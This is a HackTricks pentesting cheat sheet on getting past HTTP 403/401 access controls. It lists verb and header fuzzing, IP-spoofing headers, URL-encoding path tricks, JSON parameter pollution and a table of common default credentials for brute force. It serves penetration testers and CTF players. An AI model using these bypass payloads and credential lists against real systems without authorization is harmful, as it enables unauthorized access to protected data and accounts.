hacktricks/pentesting/pentesting-web/403-and-401-bypasses.md
2022-04-28 16:01:33 +00:00

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403 & 401 Bypasses

HTTP Verbs/Methods Fuzzing

Try using different verbs to access the file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Check the response headers, maybe some information can be given. For example, a 200 response to HEAD with Content-Length: 55 means that the HEAD verb can access the info. But you still need to find a way to exfiltrate that info.
  • Using a HTTP header like X-HTTP-Method-Override: PUT can overwrite the verb used.
  • Use TRACE verb and if you are very lucky maybe in the response you can see also the headers added by intermediate proxies that might be useful.

HTTP Headers Fuzzing

  • Change Host header to some arbitrary value (that worked here)

  • Try to use other User Agents to access the resource.

  • Fuzz HTTP Headers: Try using HTTP Proxy Headers, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool fuzzhttpbypass.

    • X-Originating-IP: 127.0.0.1
    • X-Forwarded-For: 127.0.0.1
    • X-Forwarded: 127.0.0.1
    • Forwarded-For: 127.0.0.1
    • X-Remote-IP: 127.0.0.1
    • X-Remote-Addr: 127.0.0.1
    • X-ProxyUser-Ip: 127.0.0.1
    • X-Original-URL: 127.0.0.1
    • Client-IP: 127.0.0.1
    • True-Client-IP: 127.0.0.1
    • Cluster-Client-IP: 127.0.0.1
    • X-ProxyUser-Ip: 127.0.0.1
    • Host: localhost

    If the path is protected you can try to bypass the path protection using these other headers:

    • X-Original-URL: /admin/console
    • X-Rewrite-URL: /admin/console
  • If the page is behind a proxy, maybe it's the proxy the one preventing you you to access the private information. Try abusing HTTP Request Smuggling or hop-by-hop headers.

  • Fuzz special HTTP headers looking for different response.

    • Fuzz special HTTP headers while fuzzing HTTP Methods.

Path Fuzzing

If /path is blocked:

  • Try using /%2e/path _(if the access is blocked by a proxy, this could bypass the protection). Try also_** /%252e**/path (double URL encode)
  • Try Unicode bypass: /%ef%bc%8fpath (The URL encoded chars are like "/") so when encoded back it will be //path and maybe you will have already bypassed the /path name check
  • Other path bypasses:
    • site.com/secret > HTTP 403 Forbidden
    • site.com/SECRET > HTTP 200 OK
    • site.com/secret/ > HTTP 200 OK
    • site.com/secret/. > HTTP 200 OK
    • site.com//secret// > HTTP 200 OK
    • site.com/./secret/.. > HTTP 200 OK
    • site.com/;/secret > HTTP 200 OK
    • site.com/.;/secret > HTTP 200 OK
    • site.com//;//secret > HTTP 200 OK
    • site.com/secret.json > HTTP 200 OK (ruby)
    • Use all this list in the following situations:
      • /FUZZsecret
      • /FUZZ/secret
      • /secretFUZZ
  • Other API bypasses:
    • /v3/users_data/1234 --> 403 Forbidden
    • /v1/users_data/1234 --> 200 OK
    • {“id”:111} --> 401 Unauthriozied
    • {“id”:[111]} --> 200 OK
    • {“id”:111} --> 401 Unauthriozied
    • {“id”:{“id”:111}} --> 200 OK
    • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
    • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Other Bypasses

  • Get the IP or CNAME of the domain and try contacting it directly.
  • Try to stress the server sending common GET requests (It worked for this guy wit Facebook).
  • Change the protocol: from http to https, or for https to http
  • Go to https://archive.org/web/ and check if in the past that file was worldwide accessible.

Brute Force

  • Guess the password: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?

  • Brute force: Try basic, digest and NTLM auth.

    {% code title="Common creds" %}

    admin    admin
    admin    password
    admin    1234
    admin    admin1234
    admin    123456
    root     toor
    test     test
    guest    guest
    

    {% endcode %}

Automatic Tools

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Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

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Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.